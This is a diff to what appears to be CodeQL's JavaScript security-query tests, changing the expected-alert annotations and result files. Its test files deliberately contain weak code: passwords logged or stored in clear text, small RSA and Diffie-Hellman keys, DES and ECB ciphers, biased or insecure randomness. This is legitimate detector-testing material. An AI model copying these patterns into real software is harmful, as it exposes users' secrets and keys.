-  console.log(JSON.stringify(process.env)); // NOT OK
-  console.log(process.env.PATH); // OK.
+  console.log(JSON.stringify(process.env)); // $ Alert[js/clear-text-logging]
+  console.log(process.env.PATH);
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_1.js b/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_1.js
index 50caa0584aa5..b2cabbc9944f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_1.js
+++ b/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_1.js
@@ -3,4 +3,4 @@ var app = express();
 app.get('/some/path', function() {
 })
 
-console.log(password);
+console.log(password); // $ Alert[js/clear-text-logging]
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_2.js b/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_2.js
index a59e8bba77fa..94fd757c33ce 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_2.js
@@ -1,3 +1,3 @@
 require("foo");
 (function (req, res){});
-console.log(password);
+console.log(password); // $ Alert[js/clear-text-logging]
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_3.js b/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_3.js
index ea6132502372..118ae5dd2a75 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_3.js
+++ b/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_3.js
@@ -1,2 +1,2 @@
 var server = require("./server");
-console.log(password);
+console.log(password); // $ Alert[js/clear-text-logging]
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_4.js b/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_4.js
index 53279ea2853a..c47deadde58a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_4.js
+++ b/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_4.js
@@ -1,2 +1,2 @@
 require("foo");
-console.log(password);
+console.log(password); // $ Alert[js/clear-text-logging]
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_5.js b/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_5.js
index 6070f3d1aebb..7233c0b38326 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_5.js
+++ b/javascript/ql/test/query-tests/Security/CWE-312/passwords_in_server_5.js
@@ -1,9 +1,9 @@
 var express = require('express');
 var app = express();
 app.get('/some/path', function() {
-    f(req.query.password);
+    f(req.query.password); // $ Source[js/clear-text-logging]
 })
 
 function f(x) {
-    console.log(x);
+    console.log(x); // $ Alert[js/clear-text-logging]
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/tst-angularjs.js b/javascript/ql/test/query-tests/Security/CWE-312/tst-angularjs.js
index 3c86d21ec3b5..c8d987c41a32 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/tst-angularjs.js
+++ b/javascript/ql/test/query-tests/Security/CWE-312/tst-angularjs.js
@@ -1,11 +1,11 @@
 angular.module("app")
     .controller("controller", function($cacheFactory, $templateCache, $cookies){
-        $cacheFactory.put("x", data1.password); // NOT OK
-        $templateCache.put("x", data2.password); // NOT OK
-        $cookies.put("x", data3.password); // NOT OK
-        $cookies.putObject("x", data4.password); // NOT OK
+        $cacheFactory.put("x", data1.password); // $ Alert[js/clear-text-storage-of-sensitive-data]
+        $templateCache.put("x", data2.password); // $ Alert[js/clear-text-storage-of-sensitive-data]
+        $cookies.put("x", data3.password); // $ Alert[js/clear-text-storage-of-sensitive-data]
+        $cookies.putObject("x", data4.password); // $ Alert[js/clear-text-storage-of-sensitive-data]
 
-        $cookies.other("x", data5.password); // OK
-        other.put("x", data6.password); // OK
-        $cookies.put(data7.password, "x"); // OK
+        $cookies.other("x", data5.password);
+        other.put("x", data6.password);
+        $cookies.put(data7.password, "x");
     })
diff --git a/javascript/ql/test/query-tests/Security/CWE-312/tst-webstorage.js b/javascript/ql/test/query-tests/Security/CWE-312/tst-webstorage.js
index d6adb2fbb75b..43c9e0423e36 100644
--- a/javascript/ql/test/query-tests/Security/CWE-312/tst-webstorage.js
+++ b/javascript/ql/test/query-tests/Security/CWE-312/tst-webstorage.js
@@ -1,4 +1,4 @@
-localStorage.x = data.password;
-localStorage.setItem('x', data.password)
-sessionStorage.x = data.password;
-sessionStorage.setItem('x', data.password)
+localStorage.x = data.password; // $ Alert[js/clear-text-storage-of-sensitive-data]
+localStorage.setItem('x', data.password) // $ Alert[js/clear-text-storage-of-sensitive-data]
+sessionStorage.x = data.password; // $ Alert[js/clear-text-storage-of-sensitive-data]
+sessionStorage.setItem('x', data.password) // $ Alert[js/clear-text-storage-of-sensitive-data]
diff --git a/javascript/ql/test/query-tests/Security/CWE-313/PasswordInConfigurationFile.qlref b/javascript/ql/test/query-tests/Security/CWE-313/PasswordInConfigurationFile.qlref
index 38f9417489e4..7f6829886649 100644
--- a/javascript/ql/test/query-tests/Security/CWE-313/PasswordInConfigurationFile.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-313/PasswordInConfigurationFile.qlref
@@ -1 +1 @@
-Security/CWE-313/PasswordInConfigurationFile.ql
+query: Security/CWE-313/PasswordInConfigurationFile.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-326/InsufficientKeySize.qlref b/javascript/ql/test/query-tests/Security/CWE-326/InsufficientKeySize.qlref
index fbb59dd4be63..ef999cf368a5 100644
--- a/javascript/ql/test/query-tests/Security/CWE-326/InsufficientKeySize.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-326/InsufficientKeySize.qlref
@@ -1 +1,2 @@
-Security/CWE-326/InsufficientKeySize.ql
+query: Security/CWE-326/InsufficientKeySize.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-326/tst.js b/javascript/ql/test/query-tests/Security/CWE-326/tst.js
index f8bd71483b3c..839d4fcfc816 100644
--- a/javascript/ql/test/query-tests/Security/CWE-326/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-326/tst.js
@@ -1,44 +1,44 @@
 const crypto = require("crypto");
 
-const bad1 = crypto.generateKeyPairSync("rsa", { modulusLength: 1024 }); // NOT OK
+const bad1 = crypto.generateKeyPairSync("rsa", { modulusLength: 1024 }); // $ Alert
 
-const good1 = crypto.generateKeyPairSync("rsa", { modulusLength: 4096 }); // OK
+const good1 = crypto.generateKeyPairSync("rsa", { modulusLength: 4096 });
 
-const bad2 = crypto.generateKeySync("hmac", { length: 64 }); // NOT OK
+const bad2 = crypto.generateKeySync("hmac", { length: 64 }); // $ Alert
 
-const good2 = crypto.generateKeySync("aes", { length: 256 }); // OK
+const good2 = crypto.generateKeySync("aes", { length: 256 });
 
 var CryptoJS = require("crypto-js");
 
-const bad3 = CryptoJS.algo.PBKDF2.create({ keySize: 2 }); // NOT OK
-const bad4 = CryptoJS.PBKDF2(password, salt, { keySize: 2 }); // NOT OK
-const bad5 = CryptoJS.EvpKDF(password, salt, { keySize: 2 }); // NOT OK
-const bad6 = CryptoJS.PBKDF2(password, salt, { keySize: 8 }); // OK
+const bad3 = CryptoJS.algo.PBKDF2.create({ keySize: 2 }); // $ Alert
+const bad4 = CryptoJS.PBKDF2(password, salt, { keySize: 2 }); // $ Alert
+const bad5 = CryptoJS.EvpKDF(password, salt, { keySize: 2 }); // $ Alert
+const bad6 = CryptoJS.PBKDF2(password, salt, { keySize: 8 });
 
 const forge = require("node-forge");
-var bad7 = forge.rc2.createEncryptionCipher(password, 64); // NOT OK
-var good3 = forge.rc2.createEncryptionCipher(password, 128); // OK
+var bad7 = forge.rc2.createEncryptionCipher(password, 64); // $ Alert
+var good3 = forge.rc2.createEncryptionCipher(password, 128);
 
 var key1 = forge.random.getBytesSync(16);
-var good4 = forge.cipher.createCipher('AES-CBC', key1); // OK
+var good4 = forge.cipher.createCipher('AES-CBC', key1);
 
 var key2 = forge.random.getBytesSync(8);
-var bad8 = forge.cipher.createCipher('AES-CBC', key2); // NOT OK
+var bad8 = forge.cipher.createCipher('AES-CBC', key2); // $ Alert
 
 var myBuffer = forge.util.createBuffer(manyBytes);
 var key3 = myBuffer.getBytes(8);
-var bad9 = forge.cipher.createDecipher('3DES-CBC', key3); // NOT OK
+var bad9 = forge.cipher.createDecipher('3DES-CBC', key3); // $ Alert
 
 var key4 = myBuffer.getBytes(16);
-var good5 = forge.cipher.createDecipher('AES-CBC', key4); // OK
+var good5 = forge.cipher.createDecipher('AES-CBC', key4);
 
-var bad10 = crypto.createDiffieHellman(512);
+var bad10 = crypto.createDiffieHellman(512); // $ Alert
 var good6 = crypto.createDiffieHellman(2048);
 
 const NodeRSA = require('node-rsa');
-var bad11 = new NodeRSA({b: 512}); // NOT OK
-var good7 = new NodeRSA({b: 4096}); // OK
+var bad11 = new NodeRSA({b: 512}); // $ Alert
+var good7 = new NodeRSA({b: 4096});
 
-var key = new NodeRSA(); // OK
-key.generateKeyPair(512, 65537); // NOT OK
-key.generateKeyPair(4096, 65537); // OK
\ No newline at end of file
+var key = new NodeRSA();
+key.generateKeyPair(512, 65537); // $ Alert
+key.generateKeyPair(4096, 65537);
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-326/tst.xsjs b/javascript/ql/test/query-tests/Security/CWE-326/tst.xsjs
index d5e5051af668..1db03f450491 100644
--- a/javascript/ql/test/query-tests/Security/CWE-326/tst.xsjs
+++ b/javascript/ql/test/query-tests/Security/CWE-326/tst.xsjs
@@ -1,5 +1,5 @@
 const crypto = $.require("crypto");
 
-const bad1 = crypto.generateKeyPairSync("rsa", { modulusLength: 1024 }); // NOT OK
+const bad1 = crypto.generateKeyPairSync("rsa", { modulusLength: 1024 }); // $ Alert
 
 const good1 = crypto.generateKeyPairSync("rsa", { modulusLength: 4096 }); // OK
diff --git a/javascript/ql/test/query-tests/Security/CWE-327/BadRandomness.qlref b/javascript/ql/test/query-tests/Security/CWE-327/BadRandomness.qlref
index ad9afc65f3aa..5721189cedb2 100644
--- a/javascript/ql/test/query-tests/Security/CWE-327/BadRandomness.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-327/BadRandomness.qlref
@@ -1 +1,2 @@
-Security/CWE-327/BadRandomness.ql
+query: Security/CWE-327/BadRandomness.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-327/BrokenCryptoAlgorithm.expected b/javascript/ql/test/query-tests/Security/CWE-327/BrokenCryptoAlgorithm.expected
index 0b9cb0374515..660a49e6bb2a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-327/BrokenCryptoAlgorithm.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-327/BrokenCryptoAlgorithm.expected
@@ -1,3 +1,9 @@
+#select
+| tst.js:11:17:11:26 | secretText | tst.js:3:18:3:24 | trusted | tst.js:11:17:11:26 | secretText | $@ depends on $@. | tst.js:5:19:5:49 | crypto. ... ', key) | A broken or weak cryptographic algorithm | tst.js:3:18:3:24 | trusted | sensitive data from an access to trusted |
+| tst.js:11:17:11:26 | secretText | tst.js:11:17:11:26 | secretText | tst.js:11:17:11:26 | secretText | $@ depends on $@. | tst.js:5:19:5:49 | crypto. ... ', key) | A broken or weak cryptographic algorithm | tst.js:11:17:11:26 | secretText | sensitive data from an access to secretText |
+| tst.js:17:17:17:25 | o.trusted | tst.js:17:17:17:25 | o.trusted | tst.js:17:17:17:25 | o.trusted | $@ depends on $@. | tst.js:5:19:5:49 | crypto. ... ', key) | A broken or weak cryptographic algorithm | tst.js:17:17:17:25 | o.trusted | sensitive data from an access to trusted |
+| tst.js:22:21:22:30 | secretText | tst.js:3:18:3:24 | trusted | tst.js:22:21:22:30 | secretText | $@ depends on $@. | tst.js:21:22:21:60 | crypto. ... ', key) | A broken or weak cryptographic algorithm | tst.js:3:18:3:24 | trusted | sensitive data from an access to trusted |
+| tst.js:22:21:22:30 | secretText | tst.js:22:21:22:30 | secretText | tst.js:22:21:22:30 | secretText | $@ depends on $@. | tst.js:21:22:21:60 | crypto. ... ', key) | A broken or weak cryptographic algorithm | tst.js:22:21:22:30 | secretText | sensitive data from an access to secretText |
 edges
 | tst.js:3:5:3:24 | secretText | tst.js:11:17:11:26 | secretText | provenance |  |
 | tst.js:3:5:3:24 | secretText | tst.js:22:21:22:30 | secretText | provenance |  |
@@ -10,9 +16,3 @@ nodes
 | tst.js:19:17:19:24 | password | semmle.label | password |
 | tst.js:22:21:22:30 | secretText | semmle.label | secretText |
 subpaths
-#select
-| tst.js:11:17:11:26 | secretText | tst.js:3:18:3:24 | trusted | tst.js:11:17:11:26 | secretText | $@ depends on $@. | tst.js:5:19:5:49 | crypto. ... ', key) | A broken or weak cryptographic algorithm | tst.js:3:18:3:24 | trusted | sensitive data from an access to trusted |
-| tst.js:11:17:11:26 | secretText | tst.js:11:17:11:26 | secretText | tst.js:11:17:11:26 | secretText | $@ depends on $@. | tst.js:5:19:5:49 | crypto. ... ', key) | A broken or weak cryptographic algorithm | tst.js:11:17:11:26 | secretText | sensitive data from an access to secretText |
-| tst.js:17:17:17:25 | o.trusted | tst.js:17:17:17:25 | o.trusted | tst.js:17:17:17:25 | o.trusted | $@ depends on $@. | tst.js:5:19:5:49 | crypto. ... ', key) | A broken or weak cryptographic algorithm | tst.js:17:17:17:25 | o.trusted | sensitive data from an access to trusted |
-| tst.js:22:21:22:30 | secretText | tst.js:3:18:3:24 | trusted | tst.js:22:21:22:30 | secretText | $@ depends on $@. | tst.js:21:22:21:60 | crypto. ... ', key) | A broken or weak cryptographic algorithm | tst.js:3:18:3:24 | trusted | sensitive data from an access to trusted |
-| tst.js:22:21:22:30 | secretText | tst.js:22:21:22:30 | secretText | tst.js:22:21:22:30 | secretText | $@ depends on $@. | tst.js:21:22:21:60 | crypto. ... ', key) | A broken or weak cryptographic algorithm | tst.js:22:21:22:30 | secretText | sensitive data from an access to secretText |
diff --git a/javascript/ql/test/query-tests/Security/CWE-327/BrokenCryptoAlgorithm.qlref b/javascript/ql/test/query-tests/Security/CWE-327/BrokenCryptoAlgorithm.qlref
index 3f7aff53700d..81a5bd0ae94e 100644
--- a/javascript/ql/test/query-tests/Security/CWE-327/BrokenCryptoAlgorithm.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-327/BrokenCryptoAlgorithm.qlref
@@ -1 +1,2 @@
-Security/CWE-327/BrokenCryptoAlgorithm.ql
+query: Security/CWE-327/BrokenCryptoAlgorithm.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-327/bad-random.js b/javascript/ql/test/query-tests/Security/CWE-327/bad-random.js
index 00f10a745f6d..10e746da916a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-327/bad-random.js
+++ b/javascript/ql/test/query-tests/Security/CWE-327/bad-random.js
@@ -1,18 +1,18 @@
 const crypto = require('crypto');
 
-var bad = crypto.randomBytes(1)[0] + crypto.randomBytes(1)[0]; // NOT OK
-var bad = crypto.randomBytes(1)[0] * crypto.randomBytes(1)[0]; // NOT OK
+var bad = crypto.randomBytes(1)[0] + crypto.randomBytes(1)[0]; // $ Alert[js/biased-cryptographic-random]
+var bad = crypto.randomBytes(1)[0] * crypto.randomBytes(1)[0]; // $ Alert[js/biased-cryptographic-random]
 
 const buffer = crypto.randomBytes(bytes);
 const digits = [];
 for (let i = 0; i < buffer.length; ++i) {
-    digits.push(Math.floor(buffer[i] / 25.6)); // NOT OK
-    digits.push(buffer[i] % 8); // OK - input is a random byte, so the output is a uniformly random number between 0 and 7. 
-    digits.push(buffer[i] % 100); // NOT OK
+    digits.push(Math.floor(buffer[i] / 25.6)); // $ Alert[js/biased-cryptographic-random]
+    digits.push(buffer[i] % 8); // OK - input is a random byte, so the output is a uniformly random number between 0 and 7.
+    digits.push(buffer[i] % 100); // $ Alert[js/biased-cryptographic-random]
 }
 
-var bad = Number('0.' + crypto.randomBytes(3).readUIntBE(0, 3)); // NOT OK
-var good = Number(10 + crypto.randomBytes(3).readUIntBE(0, 3)); // OK
+var bad = Number('0.' + crypto.randomBytes(3).readUIntBE(0, 3)); // $ Alert[js/biased-cryptographic-random]
+var good = Number(10 + crypto.randomBytes(3).readUIntBE(0, 3));
 
 const internals = {};
 exports.randomDigits = function (size) {
@@ -28,7 +28,7 @@ exports.randomDigits = function (size) {
         }
 
         if (buffer[pos] < 250) {
-            digits.push(buffer[pos] % 10); // GOOD - protected by a bias-checking comparison.
+            digits.push(buffer[pos] % 10); // OK - protected by a bias-checking comparison.
         }
         ++pos;
     }
@@ -58,7 +58,7 @@ exports.randomDigits2 = function (size) {
         }
         var num = buffer[pos];
         if (num < 250) {
-            digits.push(num % 10); // GOOD - protected by a bias-checking comparison.
+            digits.push(num % 10); // OK - protected by a bias-checking comparison.
         }
         ++pos;
     }
@@ -70,30 +70,30 @@ function setSteps() {
     const buffer = crypto.randomBytes(bytes);
     const digits = [];
     for (const byte of buffer.values()) {
-        digits.push(Math.floor(byte / 25.6)); // NOT OK
+        digits.push(Math.floor(byte / 25.6)); // $ Alert[js/biased-cryptographic-random]
         digits.push(byte % 8); // OK - 8 is a power of 2, so the result is unbiased.
-        digits.push(byte % 100); // NOT OK
+        digits.push(byte % 100); // $ Alert[js/biased-cryptographic-random]
     }
 }
 
 const secureRandom = require("secure-random");
 
-var bad = secureRandom(10)[0] + secureRandom(10)[0]; // NOT OK
+var bad = secureRandom(10)[0] + secureRandom(10)[0]; // $ Alert[js/biased-cryptographic-random]
 
 var goodRandom1 = 5 + secureRandom(10)[0];
 var goodRandom2 = 5 + secureRandom(10)[0];
-var bad = goodRandom1 + goodRandom2; // NOT OK
+var bad = goodRandom1 + goodRandom2; // $ Alert[js/biased-cryptographic-random]
 
-var dontFlag = bad + bad; // OK - the operands have already been flagged - but flagged anyway due to us not detecting that [INCONSISTENCY].
+var dontFlag = bad + bad; // $ Alert[js/biased-cryptographic-random] - OK - the operands have already been flagged - but flagged anyway due to us not detecting that [INCONSISTENCY].
 
-var good = secureRandom(10)[0] / 0xff; // OK - result is not rounded. 
-var good = Math.ceil(0.5 - (secureRandom(10)[0] / 25.6)); // NOT OK - division generally introduces bias - but not flagged due to not looking through nested arithmetic. 
+var good = secureRandom(10)[0] / 0xff; // OK - result is not rounded.
+var good = Math.ceil(0.5 - (secureRandom(10)[0] / 25.6)); // $ Alert[js/biased-cryptographic-random] - division generally introduces bias - but not flagged due to not looking through nested arithmetic.
 
-var good = (crypto.randomBytes(1)[0] << 8) + crypto.randomBytes(3)[0]; // OK - bit shifts are usually used to construct larger/smaller numbers, 
+var good = (crypto.randomBytes(1)[0] << 8) + crypto.randomBytes(3)[0]; // OK - bit shifts are usually used to construct larger/smaller numbers,
 
-var good = Math.floor(max * (crypto.randomBytes(1)[0] / 0xff)); // OK - division by 0xff (255) gives a uniformly random number between 0 and 1. 
+var good = Math.floor(max * (crypto.randomBytes(1)[0] / 0xff)); // OK - division by 0xff (255) gives a uniformly random number between 0 and 1.
 
-var bad = Math.floor(max * (crypto.randomBytes(1)[0] / 100)); // NOT OK - division by 100 gives bias - but not flagged due to not looking through nested arithmetic. 
+var bad = Math.floor(max * (crypto.randomBytes(1)[0] / 100)); // $ Alert[js/biased-cryptographic-random] - division by 100 gives bias - but not flagged due to not looking through nested arithmetic.
 
 var crb = crypto.randomBytes(4);
 var cryptoRand = 0x01000000 * crb[0] + 0x00010000 * crb[1] + 0x00000100 * crb[2] + 0x00000001 * crb[3]; // OK - producing a larger number from smaller numbers.
@@ -104,7 +104,7 @@ var eight = 8;
 var good = crypto.randomBytes(4)[0] % eight; // OK - modulo by power of 2.
 
 var twoHundredAndFiftyFive = 0xff;
-var good = Math.floor(max * (crypto.randomBytes(1)[0] / twoHundredAndFiftyFive)); // OK - division by 0xff (255) gives a uniformly random number between 0 and 1. 
+var good = Math.floor(max * (crypto.randomBytes(1)[0] / twoHundredAndFiftyFive)); // OK - division by 0xff (255) gives a uniformly random number between 0 and 1.
 
 var a = crypto.randomBytes(10);
 var good = ((a[i] & 31) * 0x1000000000000) + (a[i + 1] * 0x10000000000) + (a[i + 2] * 0x100000000) + (a[i + 3] * 0x1000000) + (a[i + 4] << 16) + (a[i + 5] << 8) + a[i + 6]; // OK - generating a large number from smaller bytes.
@@ -115,7 +115,7 @@ var foo = 0xffffffffffff + 0xfffffffffff + 0xffffffffff + 0xfffffffff + 0xffffff
 // Bad documentation example: 
 const digits = [];
 for (let i = 0; i < 10; i++) {
-    digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK
+    digits.push(crypto.randomBytes(1)[0] % 10); // $ Alert[js/biased-cryptographic-random]
 }
 
 // Good documentation example: 
@@ -125,5 +125,5 @@ while (digits.length < 10) {
     if (byte >= 250) {
         continue;
     }
-    digits.push(byte % 10); // OK
+    digits.push(byte % 10);
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-327/tst.js b/javascript/ql/test/query-tests/Security/CWE-327/tst.js
index abaaf2c0aa43..9916c811b793 100644
--- a/javascript/ql/test/query-tests/Security/CWE-327/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-327/tst.js
@@ -1,22 +1,22 @@
 const crypto = require('crypto');
 
-var secretText = trusted; // sensitive according to SensitiveActions.qll
+var secretText = trusted; // $ Source[js/weak-cryptographic-algorithm] - sensitive according to SensitiveActions.qll
 
 const desCipher = crypto.createCipher('des', key);
 const aesCipher = crypto.createCipher('aes-128', key);
 const unknownCipher = crypto.createCipher('unknown', key);
 
-desCipher.write(publicInfo, 'utf8', 'hex'); // OK: not secret information
+desCipher.write(publicInfo, 'utf8', 'hex'); // OK - not secret information
 
-desCipher.write(secretText, 'utf8', 'hex'); // BAD
+desCipher.write(secretText, 'utf8', 'hex'); // $ Alert[js/weak-cryptographic-algorithm]
 
-aesCipher.update(secretText, 'utf8', 'hex'); // GOOD
+aesCipher.update(secretText, 'utf8', 'hex');
 
-unknownCipher.update(secretText, 'utf8', 'hex'); // OK: unknown algorithm
+unknownCipher.update(secretText, 'utf8', 'hex'); // OK - unknown algorithm
 
-desCipher.write(o.trusted, 'utf8', 'hex'); // BAD
+desCipher.write(o.trusted, 'utf8', 'hex'); // $ Alert[js/weak-cryptographic-algorithm]
 
-desCipher.write(password, 'utf8', 'hex'); // OK (flagged by js/insufficient-password-hash)
+desCipher.write(password, 'utf8', 'hex'); // OK - flagged by js/insufficient-password-hash
 
 const aesEcbCipher = crypto.createCipher('aes-128-ecb', key);
-aesEcbCipher.update(secretText, 'utf8', 'hex'); // BAD
+aesEcbCipher.update(secretText, 'utf8', 'hex'); // $ Alert[js/weak-cryptographic-algorithm]
diff --git a/javascript/ql/test/query-tests/Security/CWE-338/InsecureRandomness.expected b/javascript/ql/test/query-tests/Security/CWE-338/InsecureRandomness.expected
index 122cb1ac8761..fb24179ae561 100644
--- a/javascript/ql/test/query-tests/Security/CWE-338/InsecureRandomness.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-338/InsecureRandomness.expected
@@ -1,3 +1,27 @@
+#select
+| tst.js:2:20:2:32 | Math.random() | tst.js:2:20:2:32 | Math.random() | tst.js:2:20:2:32 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:2:20:2:32 | Math.random() | Math.random() |
+| tst.js:6:20:6:43 | "prefix ... andom() | tst.js:6:31:6:43 | Math.random() | tst.js:6:20:6:43 | "prefix ... andom() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:6:31:6:43 | Math.random() | Math.random() |
+| tst.js:10:20:10:32 | Math.random() | tst.js:10:20:10:32 | Math.random() | tst.js:10:20:10:32 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:10:20:10:32 | Math.random() | Math.random() |
+| tst.js:20:20:20:36 | "prefix" + suffix | tst.js:19:18:19:30 | Math.random() | tst.js:20:20:20:36 | "prefix" + suffix | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:19:18:19:30 | Math.random() | Math.random() |
+| tst.js:29:20:29:21 | pw | tst.js:28:14:28:26 | Math.random() | tst.js:29:20:29:21 | pw | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:28:14:28:26 | Math.random() | Math.random() |
+| tst.js:41:20:41:33 | !Math.random() | tst.js:41:21:41:33 | Math.random() | tst.js:41:20:41:33 | !Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:41:21:41:33 | Math.random() | Math.random() |
+| tst.js:45:18:45:30 | Math.random() | tst.js:45:18:45:30 | Math.random() | tst.js:45:18:45:30 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:45:18:45:30 | Math.random() | Math.random() |
+| tst.js:50:16:50:28 | Math.random() | tst.js:50:16:50:28 | Math.random() | tst.js:50:16:50:28 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:50:16:50:28 | Math.random() | Math.random() |
+| tst.js:55:17:55:29 | Math.random() | tst.js:55:17:55:29 | Math.random() | tst.js:55:17:55:29 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:55:17:55:29 | Math.random() | Math.random() |
+| tst.js:61:17:61:34 | '' + Math.random() | tst.js:61:22:61:34 | Math.random() | tst.js:61:17:61:34 | '' + Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:61:22:61:34 | Math.random() | Math.random() |
+| tst.js:66:18:66:42 | Math.fl ... ndom()) | tst.js:66:29:66:41 | Math.random() | tst.js:66:18:66:42 | Math.fl ... ndom()) | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:66:29:66:41 | Math.random() | Math.random() |
+| tst.js:73:23:73:28 | concat | tst.js:71:27:71:39 | Math.random() | tst.js:73:23:73:28 | concat | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:71:27:71:39 | Math.random() | Math.random() |
+| tst.js:77:16:77:21 | secret | tst.js:80:7:80:19 | Math.random() | tst.js:77:16:77:21 | secret | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:80:7:80:19 | Math.random() | Math.random() |
+| tst.js:84:19:84:31 | Math.random() | tst.js:84:19:84:31 | Math.random() | tst.js:84:19:84:31 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:84:19:84:31 | Math.random() | Math.random() |
+| tst.js:90:32:90:44 | Math.random() | tst.js:90:32:90:44 | Math.random() | tst.js:90:32:90:44 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:90:32:90:44 | Math.random() | Math.random() |
+| tst.js:95:33:95:45 | Math.random() | tst.js:95:33:95:45 | Math.random() | tst.js:95:33:95:45 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:95:33:95:45 | Math.random() | Math.random() |
+| tst.js:115:16:115:56 | Math.fl ... 00_000) | tst.js:115:27:115:39 | Math.random() | tst.js:115:16:115:56 | Math.fl ... 00_000) | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:115:27:115:39 | Math.random() | Math.random() |
+| tst.js:116:22:116:62 | Math.fl ... 00_000) | tst.js:116:33:116:45 | Math.random() | tst.js:116:22:116:62 | Math.fl ... 00_000) | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:116:33:116:45 | Math.random() | Math.random() |
+| tst.js:117:15:117:55 | Math.fl ... 00_000) | tst.js:117:26:117:38 | Math.random() | tst.js:117:15:117:55 | Math.fl ... 00_000) | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:117:26:117:38 | Math.random() | Math.random() |
+| tst.js:118:23:118:63 | Math.fl ... 00_000) | tst.js:118:34:118:46 | Math.random() | tst.js:118:23:118:63 | Math.fl ... 00_000) | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:118:34:118:46 | Math.random() | Math.random() |
+| tst.js:120:16:120:28 | Math.random() | tst.js:120:16:120:28 | Math.random() | tst.js:120:16:120:28 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:120:16:120:28 | Math.random() | Math.random() |
+| tst.js:121:18:121:30 | Math.random() | tst.js:121:18:121:30 | Math.random() | tst.js:121:18:121:30 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:121:18:121:30 | Math.random() | Math.random() |
+| tst.js:136:9:136:67 | password | tst.js:136:38:136:50 | Math.random() | tst.js:136:9:136:67 | password | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:136:38:136:50 | Math.random() | Math.random() |
 edges
 | tst.js:6:31:6:43 | Math.random() | tst.js:6:20:6:43 | "prefix ... andom() | provenance | Config |
 | tst.js:19:9:19:36 | suffix | tst.js:20:31:20:36 | suffix | provenance |  |
@@ -88,27 +112,3 @@ nodes
 | tst.js:136:38:136:50 | Math.random() | semmle.label | Math.random() |
 | tst.js:136:38:136:65 | Math.ra ... .length | semmle.label | Math.ra ... .length |
 subpaths
-#select
-| tst.js:2:20:2:32 | Math.random() | tst.js:2:20:2:32 | Math.random() | tst.js:2:20:2:32 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:2:20:2:32 | Math.random() | Math.random() |
-| tst.js:6:20:6:43 | "prefix ... andom() | tst.js:6:31:6:43 | Math.random() | tst.js:6:20:6:43 | "prefix ... andom() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:6:31:6:43 | Math.random() | Math.random() |
-| tst.js:10:20:10:32 | Math.random() | tst.js:10:20:10:32 | Math.random() | tst.js:10:20:10:32 | Math.random() | This uses a cryptographically insecure random number generated at $@ in a security context. | tst.js:10:20:10:32 | Math.random() | Math.random() |
